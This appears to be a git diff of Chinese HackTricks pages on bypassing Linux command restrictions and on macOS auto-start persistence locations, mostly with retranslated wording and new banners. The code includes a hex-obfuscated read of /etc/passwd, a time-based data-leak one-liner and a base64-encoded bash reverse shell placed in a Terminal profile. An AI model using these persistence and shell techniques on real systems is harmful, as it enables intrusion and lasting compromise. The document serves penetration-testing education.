使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
# 绕过Linux限制
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -150,19 +151,11 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### 基于时间的数据泄露
|
||||
### 基于时间的数据外泄
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### 从环境变量中获取字符
|
||||
|
||||
在某些情况下,您可能无法直接执行命令或访问文件,但可以访问环境变量。您可以使用以下命令从环境变量中提取字符:
|
||||
|
||||
```bash
|
||||
echo ${PATH:0:1}
|
||||
```
|
||||
|
||||
这将输出环境变量`PATH`的第一个字符。您可以更改`0`和`1`的值来提取不同位置的字符。
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
|
@ -173,7 +166,7 @@ echo ${PATH:0:1} #/
|
|||
|
||||
### 内建命令
|
||||
|
||||
如果您无法执行外部函数,只能访问**有限的内建函数来获得RCE**,那么有一些巧妙的技巧可以做到。通常您**无法使用所有**的**内建函数**,因此您应该**了解所有选项**以尝试绕过监狱。灵感来自[**devploit**](https://twitter.com/devploit)。\
|
||||
如果您无法执行外部函数,只能访问**有限的内建函数来获取RCE**,那么有一些巧妙的技巧可以做到。通常您**无法使用所有**的**内建函数**,因此您应该**了解所有选项**以尝试绕过监狱。灵感来自[**devploit**](https://twitter.com/devploit)。\
|
||||
首先检查所有的[**shell内建命令**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**。** 然后这里有一些**建议**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
|
@ -290,7 +283,7 @@ ln /f*
|
|||
## If there is a file /flag.txt that will create a hard link
|
||||
## to it in the current folder
|
||||
```
|
||||
### 用4个字符进行RCE
|
||||
### 4个字符的RCE
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
|
@ -346,7 +339,7 @@ ln /f*
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
|
||||
|
@ -354,16 +347,17 @@ ln /f*
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,50 +1,51 @@
|
|||
# macOS自动启动
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/),旨在添加**更多自动启动位置**(如果可能的话),指出**哪些技术仍然适用**于最新版本的macOS(13.4),并指定所需的**权限**。
|
||||
本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/),旨在添加**更多自动启动位置**(如果可能的话),指出**哪些技术**在最新版本的macOS(13.4)中仍然有效,并指定所需的**权限**。
|
||||
|
||||
## 沙盒绕过
|
||||
|
||||
{% hint style="success" %}
|
||||
在这里,您可以找到对**沙盒绕过**有用的启动位置,允许您通过**将其写入文件**并**等待**一个非常**常见的** **操作**,一定的**时间**或通常可以在沙盒内执行的**操作**,而无需root权限。
|
||||
在这里,您可以找到有用于**绕过沙盒**的启动位置,允许您通过**将其写入文件**并**等待**一个非常**常见的** **操作**,一定的**时间**或通常可以在沙盒内执行的**操作**,而无需需要root权限。
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
||||
- 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
- TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
||||
- **`/Library/LaunchAgents`**
|
||||
- **触发器**:重启
|
||||
- 需要Root权限
|
||||
- **`/Library/LaunchDaemons`**
|
||||
- **触发器**:重启
|
||||
- 需要Root权限
|
||||
- **`/System/Library/LaunchAgents`**
|
||||
- **触发器**:重启
|
||||
- 需要Root权限
|
||||
- **`/System/Library/LaunchDaemons`**
|
||||
- **触发器**:重启
|
||||
- 需要Root权限
|
||||
- **`~/Library/LaunchAgents`**
|
||||
- **触发器**:重新登录
|
||||
- **`~/Library/LaunchDemons`**
|
||||
- **触发器**:重新登录
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **触发器**:重启
|
||||
* 需要Root权限
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **触发器**:重启
|
||||
* 需要Root权限
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **触发器**:重启
|
||||
* 需要Root权限
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **触发器**:重启
|
||||
* 需要Root权限
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **触发器**:重新登录
|
||||
* **`~/Library/LaunchDemons`**
|
||||
* **触发器**:重新登录
|
||||
|
||||
{% hint style="success" %}
|
||||
有趣的是,**`launchd`**在Mach-o部分`__Text.__config`中嵌入了一个属性列表,其中包含其他众所周知的服务,launchd必须启动这些服务。此外,这些服务可以包含`RequireSuccess`、`RequireRun`和`RebootOnSuccess`,这意味着它们必须运行并成功完成。
|
||||
|
@ -56,12 +57,12 @@
|
|||
|
||||
**`launchd`**是由OX S内核在启动时执行的**第一个** **进程**,也是在关机时完成的最后一个进程。它应该始终具有**PID 1**。此进程将**读取和执行**在以下**ASEP** **plist**中指示的配置:
|
||||
|
||||
- `/Library/LaunchAgents`:由管理员安装的每个用户代理
|
||||
- `/Library/LaunchDaemons`:由管理员安装的系统范围守护程序
|
||||
- `/System/Library/LaunchAgents`:由Apple提供的每个用户代理
|
||||
- `/System/Library/LaunchDaemons`:由Apple提供的系统范围守护程序
|
||||
* `/Library/LaunchAgents`:由管理员安装的每个用户代理
|
||||
* `/Library/LaunchDaemons`:由管理员安装的系统范围守护程序
|
||||
* `/System/Library/LaunchAgents`:由Apple提供的每个用户代理。
|
||||
* `/System/Library/LaunchDaemons`:由Apple提供的系统范围守护程序。
|
||||
|
||||
用户登录时,位于`/Users/$USER/Library/LaunchAgents`和`/Users/$USER/Library/LaunchDemons`中的plist将以**已登录用户的权限**启动。
|
||||
当用户登录时,位于`/Users/$USER/Library/LaunchAgents`和`/Users/$USER/Library/LaunchDemons`中的plist将以**已登录用户的权限**启动。
|
||||
|
||||
**代理和守护程序之间的主要区别在于代理在用户登录时加载,而守护程序在系统启动时加载**(因为有些服务如ssh需要在任何用户访问系统之前执行)。此外,代理可能使用GUI,而守护程序需要在后台运行。
|
||||
```xml
|
||||
|
@ -89,7 +90,7 @@
|
|||
有些情况下,需要在用户登录之前执行代理,这些被称为**PreLoginAgents**。例如,这对于在登录时提供辅助技术非常有用。它们也可以在`/Library/LaunchAgents`中找到(查看[**这里**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)一个示例)。
|
||||
|
||||
{% hint style="info" %}
|
||||
新的守护程序或代理配置文件将在**下次重启后加载**,或使用`launchctl load <target.plist>`。也可以使用`launchctl -F <file>`加载没有扩展名的.plist文件(但这些plist文件在重启后不会自动加载)。\
|
||||
新的守护程序或代理配置文件将在**下次重启后加载**,或使用`launchctl load <target.plist>`。也可以使用`launchctl -F <file>`加载没有扩展名的.plist文件(但这些.plist文件在重启后不会自动加载)。\
|
||||
也可以使用`launchctl unload <target.plist>`来**卸载**(指向它的进程将被终止)。
|
||||
|
||||
为了**确保**没有**任何东西**(如覆盖)**阻止**一个**代理**或**守护程序** **运行**,运行:`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
|
@ -100,30 +101,30 @@
|
|||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
如果一个 plist 文件是用户所有的,即使它在守护程序系统范围的文件夹中,**任务将作为用户而不是作为 root 执行**。这可以防止一些特权升级攻击。
|
||||
如果一个 plist 文件是由用户拥有的,即使它在守护程序系统范围的文件夹中,**任务将作为用户执行**而不是作为 root。这可以防止一些特权升级攻击。
|
||||
{% endhint %}
|
||||
|
||||
#### 关于 launchd 的更多信息
|
||||
|
||||
**`launchd`** 是从 **内核** 启动的 **第一个**用户模式进程。进程启动必须是 **成功的**,它 **不能退出或崩溃**。甚至对一些 **终止信号** 也有 **保护**。
|
||||
**`launchd`** 是从**内核**启动的**第一个**用户模式进程。进程启动必须是**成功的**,它**不能退出或崩溃**。甚至对一些**终止信号**也是**受保护**的。
|
||||
|
||||
`launchd` 要做的第一件事情之一是 **启动** 所有的 **守护程序**,比如:
|
||||
`launchd` 要做的第一件事情之一是**启动**所有的**守护程序**,比如:
|
||||
|
||||
* 基于时间执行的 **定时守护程序**:
|
||||
* 基于时间执行的**定时守护程序**:
|
||||
* atd (`com.apple.atrun.plist`):具有 30 分钟的 `StartInterval`
|
||||
* crond (`com.apple.systemstats.daily.plist`):具有 `StartCalendarInterval` 在 00:15 启动
|
||||
* 像这样的 **网络守护程序**:
|
||||
* 像**网络守护程序**一样:
|
||||
* `org.cups.cups-lpd`:在 TCP 上监听(`SockType: stream`),使用 `SockServiceName: printer`
|
||||
*  SockServiceName 必须是 `/etc/services` 中的端口或服务
|
||||
* `com.apple.xscertd.plist`:在端口 1640 上的 TCP 上监听
|
||||
* 当指定路径发生变化时执行的 **路径守护程序**:
|
||||
*  SockServiceName 必须是端口或 `/etc/services` 中的服务
|
||||
* `com.apple.xscertd.plist`:在端口 1640 上监听 TCP
|
||||
* 当指定路径发生更改时执行的**路径守护程序**:
|
||||
* `com.apple.postfix.master`:检查路径 `/etc/postfix/aliases`
|
||||
* **IOKit 通知守护程序**:
|
||||
* `com.apple.xartstorageremoted`:`"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
|
||||
* **Mach 端口**:
|
||||
* `com.apple.xscertd-helper.plist`:在 `MachServices` 条目中指示名称 `com.apple.xscertd.helper`
|
||||
* **UserEventAgent**:
|
||||
* 这与前面的不同。它使 launchd 响应特定事件生成应用程序。但在这种情况下,涉及的主要二进制文件不是 `launchd` 而是 `/usr/libexec/UserEventAgent`。它从 SIP 受限制的文件夹 `/System/Library/UserEventPlugins/` 中加载插件,其中每个插件在 `XPCEventModuleInitializer` 键中指示其初始化器,或者在旧插件的情况下,在其 `Info.plist` 的 `CFPluginFactories` 字典下的键 `FB86416D-6164-2070-726F-70735C216EC0` 中指示其初始化器。
|
||||
* 这与前面的不同。它使 launchd 为特定事件的响应生成应用程序。但在这种情况下,涉及的主要二进制文件不是 `launchd` 而是 `/usr/libexec/UserEventAgent`。它从 SIP 受限制的文件夹 `/System/Library/UserEventPlugins/` 中加载插件,其中每个插件在 `XPCEventModuleInitializer` 键中指示其初始化器,或者在旧插件的情况下,在其 `Info.plist` 的 `CFPluginFactories` 字典下的键 `FB86416D-6164-2070-726F-70735C216EC0` 中指示其初始化器。
|
||||
|
||||
### shell 启动文件
|
||||
|
||||
|
@ -132,7 +133,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
|
||||
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 绕过:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但是你需要找到一个具有 TCC 绕过的应用程序,执行加载这些文件的 shell
|
||||
* 但是您需要找到一个具有 TCC 绕过的应用程序,执行加载这些文件的 shell
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -152,13 +153,13 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
* `/etc/profile`(未起作用)
|
||||
* `~/.profile`(未起作用)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **触发**:预期与 xterm 触发,但 **未安装**,即使安装后也会出现此错误:xterm: `DISPLAY is not set`
|
||||
* **触发**:预期与 xterm 触发,但**未安装**,即使安装后也会出现此错误:xterm: `DISPLAY is not set`
|
||||
|
||||
#### 描述与利用
|
||||
|
||||
当初始化 shell 环境(如 `zsh` 或 `bash`)时,**会运行某些启动文件**。macOS 目前使用 `/bin/zsh` 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,将自动访问此 shell。虽然 macOS 中也存在 `bash` 和 `sh`,但需要显式调用才能使用。
|
||||
当初始化 shell 环境(如 `zsh` 或 `bash`)时,**会运行某些启动文件**。macOS 当前使用 `/bin/zsh` 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,将自动访问此 shell。虽然 macOS 中也存在 `bash` 和 `sh`,但需要显式调用才能使用。
|
||||
|
||||
我们可以通过 **`man zsh`** 阅读 zsh 的 man 页面,其中有关启动文件的详细描述。
|
||||
我们可以使用 **`man zsh`** 阅读 zsh 的 man 页面,其中有关启动文件的详细描述。
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -166,18 +167,18 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### 重新打开的应用程序
|
||||
|
||||
{% hint style="danger" %}
|
||||
配置指定的利用方式,注销并重新登录,甚至重新启动都无法让我执行该应用程序。(应用程序未被执行,也许需要在执行这些操作时运行)
|
||||
配置指定的利用方式,注销并重新登录,甚至重新启动都无法让我执行该应用程序。(应用程序没有被执行,也许需要在执行这些操作时保持运行)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
||||
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
* 有用的绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
||||
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
|
||||
* **触发器**:重新启动时重新打开应用程序
|
||||
* **触发器**: 重新打开应用程序
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
|
@ -205,24 +206,24 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
```
|
||||
### 终端偏好设置
|
||||
|
||||
* 有用以绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 终端用于拥有用户的FDA权限
|
||||
|
||||
#### 位置
|
||||
|
||||
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
||||
* **触发器**:打开终端
|
||||
* **触发器**: 打开终端
|
||||
|
||||
#### 描述与利用
|
||||
|
||||
在**`~/Library/Preferences`**中存储了用户在应用程序中的偏好设置。其中一些偏好设置可以包含配置以**执行其他应用程序/脚本**。
|
||||
在**`~/Library/Preferences`**中存储了用户在应用程序中的偏好设置。其中一些偏好设置可以包含配置来**执行其他应用程序/脚本**。
|
||||
|
||||
例如,终端可以在启动时执行一个命令:
|
||||
例如,终端可以在启动时执行一个命令:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1148).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||
|
||||
这个配置反映在文件**`~/Library/Preferences/com.apple.Terminal.plist`**中,如下所示:
|
||||
这个配置反映在文件**`~/Library/Preferences/com.apple.Terminal.plist`**中,如下所示:
|
||||
```bash
|
||||
[...]
|
||||
"Window Settings" => {
|
||||
|
@ -255,14 +256,14 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
### 终端脚本 / 其他文件扩展名
|
||||
|
||||
* 用于绕过沙盒的有用工具:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 用于绕过沙盒的有用技术: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 终端用于拥有用户的FDA权限
|
||||
|
||||
#### 位置
|
||||
|
||||
* **任何地方**
|
||||
* **触发器**:打开终端
|
||||
* **触发器**: 打开终端
|
||||
|
||||
#### 描述 & 利用
|
||||
|
||||
|
@ -296,28 +297,34 @@ open /tmp/test.terminal
|
|||
# Use something like the following for a reverse shell:
|
||||
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
|
||||
```
|
||||
您还可以使用扩展名**`.command`**、**`.tool`**,带有常规shell脚本内容,它们也将被终端打开。
|
||||
|
||||
{% hint style="danger" %}
|
||||
如果终端具有**完全磁盘访问权限**,它将能够完成该操作(请注意,执行的命令将在终端窗口中可见)。
|
||||
{% endhint %}
|
||||
|
||||
### 音频插件
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
||||
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
|
||||
|
||||
* 用于绕过沙箱: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 您可能会获得一些额外的TCC访问权限
|
||||
|
||||
#### 位置
|
||||
|
||||
* **`/Library/Audio/Plug-Ins/HAL`**
|
||||
* 需要Root权限
|
||||
* **触发器**: 重新启动coreaudiod或计算机
|
||||
* **触发器**:重新启动coreaudiod或计算机
|
||||
* **`/Library/Audio/Plug-ins/Components`**
|
||||
* 需要Root权限
|
||||
* **触发器**: 重新启动coreaudiod或计算机
|
||||
* **触发器**:重新启动coreaudiod或计算机
|
||||
* **`~/Library/Audio/Plug-ins/Components`**
|
||||
* **触发器**: 重新启动coreaudiod或计算机
|
||||
* **触发器**:重新启动coreaudiod或计算机
|
||||
* **`/System/Library/Components`**
|
||||
* 需要Root权限
|
||||
* **触发器**: 重新启动coreaudiod或计算机
|
||||
* **触发器**:重新启动coreaudiod或计算机
|
||||
|
||||
#### 描述
|
||||
|
||||
|
@ -327,8 +334,8 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||
|
||||
* 用于绕过沙箱: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 您可能会获得一些额外的TCC访问权限
|
||||
|
||||
#### 位置
|
||||
|
@ -348,13 +355,13 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
### ~~登录/注销挂钩~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
对我来说这不起作用,无论是用户LoginHook还是root LogoutHook
|
||||
对我来说这行不通,无论是用户LoginHook还是root LogoutHook
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
||||
* 用于绕过沙箱: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -388,12 +395,12 @@ oneTimeSSMigrationComplete = 1;
|
|||
defaults delete com.apple.loginwindow LoginHook
|
||||
defaults delete com.apple.loginwindow LogoutHook
|
||||
```
|
||||
根用户的启动位置存储在**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
**根用户**的启动位置存储在**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
|
||||
## 条件沙盒绕过
|
||||
|
||||
{% hint style="success" %}
|
||||
在这里,您可以找到有用于**绕过沙盒**的启动位置,允许您通过**将内容写入文件**并**期望不会出现非常普遍的条件**,比如特定的**已安装程序,"不常见"用户**操作或环境来简单执行某些操作。
|
||||
在这里,您可以找到对**沙盒绕过**有用的启动位置,允许您通过**将内容写入文件**并**期望不是非常常见的条件**(如特定**已安装的程序、"不寻常"用户**操作或环境)来简单执行某些操作。
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
@ -408,8 +415,8 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
#### 位置
|
||||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* 需要 root 权限才能直接写入。如果可以执行 `crontab <file>` 则不需要 root 权限
|
||||
* **触发器**: 取决于 cron 作业
|
||||
* 需要 root 权限才能直接写入。如果您可以执行 `crontab <file>`,则无需 root 权限
|
||||
